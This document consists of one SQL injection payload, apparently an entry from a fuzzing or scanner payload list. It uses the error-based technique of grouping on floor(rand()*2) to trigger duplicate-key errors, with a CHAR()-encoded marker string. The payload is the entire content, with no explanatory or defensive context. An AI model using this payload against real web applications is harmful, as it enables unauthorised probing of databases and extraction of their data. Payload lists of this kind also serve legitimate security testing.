'(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(70),CHAR(81),CHAR(84),CHAR(51),CHAR(85),CHAR(116),CHAR(120),CHAR(100)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))'